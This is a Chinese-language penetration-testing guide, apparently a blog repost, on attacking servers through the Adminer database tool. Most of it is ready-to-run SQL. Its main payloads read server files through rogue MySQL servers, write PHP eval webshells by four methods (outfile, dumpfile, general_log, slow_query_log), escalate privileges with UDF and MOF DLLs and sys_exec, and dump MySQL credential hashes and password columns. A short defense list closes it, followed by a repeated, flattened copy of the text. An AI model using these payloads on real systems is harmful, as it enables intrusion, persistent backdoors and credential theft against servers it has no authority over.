一次adminer之旅
字数 1642 2025-08-29 08:32:24

Adminer漏洞利用与渗透测试指南

一、Adminer漏洞概述

Adminer是一个轻量级的数据库管理工具,当发现目标系统存在Adminer.php文件时,可以利用其特性进行渗透测试。

关键版本信息

  • Adminer <= 4.6.2版本可利用"LOAD DATA LOCAL INFILE"特性读取文件
  • 通过界面可以获取Adminer版本信息

二、恶意MySQL服务器搭建

利用Adminer连接恶意MySQL服务器读取文件:

可用工具

  1. MySQL_Fake_Server (Python3实现,实战中可能无法读取文件)
  2. Rogue_mysql_server (Go实现,实战中可能无法读取文件)
  3. Rogue_Mysql_Server (Python2实现,能读文件但有长度限制)
  4. MysqlHoneypot (Python2实现,可通过修改支持大文件读取)

三、文件路径探测技术

操作系统判断

  • Windows:
    • c:\windows\win.ini
    • c:\windows\system32\drivers\etc\hosts
  • Linux:
    • /etc/passwd
    • /etc/hosts

Windows路径探测

  1. 图标缓存数据库:
    • Win7/Vista: C:\Users\<username>\AppData\Local\IconCache.db
    • Win8/10: C:\Users\<username>\AppData\Local\Microsoft\Windows\Explorer\下的多个.db文件
    • 解密工具: FirstSound, Windows-IconFixer

Linux路径探测

  • 定位数据库文件:
    • /var/lib/mlocate/mlocate.db
    • /var/lib/locate.db

PHP框架路径探测

  1. ThinkPHP关键文件:
    • index.php
    • build.php
    • thinkphp/base.php
    • 配置文件路径:
      • apps/common.php
      • apps/config.php
      • apps/database.php
      • application/目录下的对应文件

四、Adminer后台利用技术

获取网站绝对路径方法

  1. 网页报错信息
  2. 操作系统数据库文件(IconCache或mlocate.db)
  3. MySQL安装目录猜测(select @@basedir)
  4. 日志文件(如ThinkPHP的runtime/log/202111/30.log)
  5. 数据库中的配置信息

写Webshell技术

1. outfile方法

-- 检查权限
show global variables like '%secure%';

-- 基本写入
select '<?php eval($_POST["x"]) ?>' into outfile 'C:\\path\\shell.php';

-- 通过表写入
DROP TABLE IF EXISTS temp;
CREATE TABLE temp (cmd text NOT NULL);
INSERT INTO temp (cmd) VALUES ('<?php eval($_POST[x]) ?>');
SELECT cmd FROM temp INTO outfile 'C:\\path\\shell.php';
DROP TABLE IF EXISTS temp;

-- HEX编码写入
select 0x3c3f706870206576616c28245f504f53545b2278225d29203f3e into outfile 'C:\\path\\shell.php';

注意: outfile会处理换行符(0a)和制表符(09),建议使用0d(\r)作为换行符

2. dumpfile方法

-- 基本写入
select '<?php eval($_POST["x"]) ?>' into dumpfile 'C:\\path\\shell.php';

-- 通过表写入
DROP TABLE IF EXISTS temp;
CREATE TABLE temp (cmd text NOT NULL);
INSERT INTO temp (cmd) VALUES ('<?php eval($_POST[x]) ?>');
SELECT cmd FROM temp INTO dumpfile 'C:\\path\\shell.php';
DROP TABLE IF EXISTS temp;

优势: dumpfile不会处理特殊字符,适合写入复杂shell

3. general_log方法

-- 检查配置
show global variables like '%general_log%';
select @@general_log_file;
select @@general_log;

-- 开启日志并写入shell
set global general_log = 'ON';
set global general_log_file = 'C:\\path\\shell.php';
select '<?php @eval($_POST[01282095])?>';

4. slow_query_log方法

-- 检查配置
show variables like '%slow%';
select @@slow_query_log_file;
select @@slow_query_log;

-- 开启慢日志并写入shell
set GLOBAL slow_query_log_file = 'C:\\path\\shell.php';
set GLOBAL slow_query_log = on;
select '<?php @eval($_POST["x"])?>' from mysql.db where sleep(10);

五、高级利用技术

1. UDF提权

-- 获取plugin目录
select @@plugin_dir;
show global variables like '%plugin%';

-- 创建plugin目录(NTFS ADS流)
select 0x20 into dumpfile 'C:\\mysql\\lib::$INDEX_ALLOCATION';
select 0x20 into dumpfile 'C:\\mysql\\lib\\plugin::$INDEX_ALLOCATION';

-- 检查系统架构
select @@version_compile_os;
select @@version_compile_machine;

-- 写入UDF DLL
select 0x... into dumpfile "C:\\mysql\\lib\\plugin\\udf32.dll";

-- 创建函数
create function sys_exec returns int soname 'udf32.dll';
create function sys_eval returns string soname 'udf64.dll';

-- 使用函数
select sys_exec('whoami');
select sys_eval('whoami');

-- 删除函数
drop function sys_eval;

2. MOF提权(仅限Server 2003/XP)

-- 写入恶意MOF文件
select 0x... into dumpfile 'C:\\Windows\\System32\\wbem\\MOF\\nullevt.mof';

3. 其他提权方法

  • LPK劫持: 写入恶意lpk.dll
  • 启动项: 写入用户启动目录
  • Crontab: Linux下写入计划任务(需root权限)
  • SSH Key: 写入授权密钥

六、数据库信息收集

1. 搜索敏感字段

-- 搜索特定数据库中的密码字段
select table_schema, table_name, column_name from information_schema.COLUMNS 
where column_name like '%pass%' and table_schema = 'target_db';

-- 搜索所有数据库中的密码字段
select table_schema, table_name, column_name from information_schema.COLUMNS 
where column_name like '%pass%';

2. 获取MySQL凭据

-- MySQL 5.6及以下
select host, user, password from mysql.user;

-- MySQL 5.7及以上
select host, user, authentication_string from mysql.user;

3. 读取系统文件

-- 直接读取
select load_file('C:\\path\\file');

-- HEX编码路径读取
select hex(load_file(0x...));

七、防御建议

  1. 及时更新Adminer到最新版本
  2. 限制MySQL的FILE权限
  3. 设置secure_file_priv为特定目录
  4. 禁用general_log和slow_query_log功能
  5. 限制Adminer的访问IP
  6. 定期检查系统异常文件

八、总结

本指南详细介绍了从发现Adminer到最终获取系统权限的全过程,包括文件读取、路径探测、Webshell写入、提权技术等关键环节。渗透测试人员应合理使用这些技术,管理员则应加强相关防护措施。

Adminer漏洞利用与渗透测试指南 一、Adminer漏洞概述 Adminer是一个轻量级的数据库管理工具,当发现目标系统存在Adminer.php文件时,可以利用其特性进行渗透测试。 关键版本信息 Adminer <= 4.6.2版本可利用"LOAD DATA LOCAL INFILE"特性读取文件 通过界面可以获取Adminer版本信息 二、恶意MySQL服务器搭建 利用Adminer连接恶意MySQL服务器读取文件: 可用工具 MySQL_ Fake_ Server (Python3实现,实战中可能无法读取文件) Rogue_ mysql_ server (Go实现,实战中可能无法读取文件) Rogue_ Mysql_ Server (Python2实现,能读文件但有长度限制) MysqlHoneypot (Python2实现,可通过修改支持大文件读取) 三、文件路径探测技术 操作系统判断 Windows : c:\windows\win.ini c:\windows\system32\drivers\etc\hosts Linux : /etc/passwd /etc/hosts Windows路径探测 图标缓存数据库 : Win7/Vista: C:\Users\<username>\AppData\Local\IconCache.db Win8/10: C:\Users\<username>\AppData\Local\Microsoft\Windows\Explorer\ 下的多个.db文件 解密工具: FirstSound , Windows-IconFixer Linux路径探测 定位数据库文件: /var/lib/mlocate/mlocate.db /var/lib/locate.db PHP框架路径探测 ThinkPHP 关键文件: index.php build.php thinkphp/base.php 配置文件路径: apps/common.php apps/config.php apps/database.php 或 application/ 目录下的对应文件 四、Adminer后台利用技术 获取网站绝对路径方法 网页报错信息 操作系统数据库文件(IconCache或mlocate.db) MySQL安装目录猜测( select @@basedir ) 日志文件(如ThinkPHP的 runtime/log/202111/30.log ) 数据库中的配置信息 写Webshell技术 1. outfile方法 注意 : outfile会处理换行符(0a)和制表符(09),建议使用0d(\r)作为换行符 2. dumpfile方法 优势 : dumpfile不会处理特殊字符,适合写入复杂shell 3. general_ log方法 4. slow_ query_ log方法 五、高级利用技术 1. UDF提权 2. MOF提权(仅限Server 2003/XP) 3. 其他提权方法 LPK劫持 : 写入恶意lpk.dll 启动项 : 写入用户启动目录 Crontab : Linux下写入计划任务(需root权限) SSH Key : 写入授权密钥 六、数据库信息收集 1. 搜索敏感字段 2. 获取MySQL凭据 3. 读取系统文件 七、防御建议 及时更新Adminer到最新版本 限制MySQL的FILE权限 设置secure_ file_ priv为特定目录 禁用general_ log和slow_ query_ log功能 限制Adminer的访问IP 定期检查系统异常文件 八、总结 本指南详细介绍了从发现Adminer到最终获取系统权限的全过程,包括文件读取、路径探测、Webshell写入、提权技术等关键环节。渗透测试人员应合理使用这些技术,管理员则应加强相关防护措施。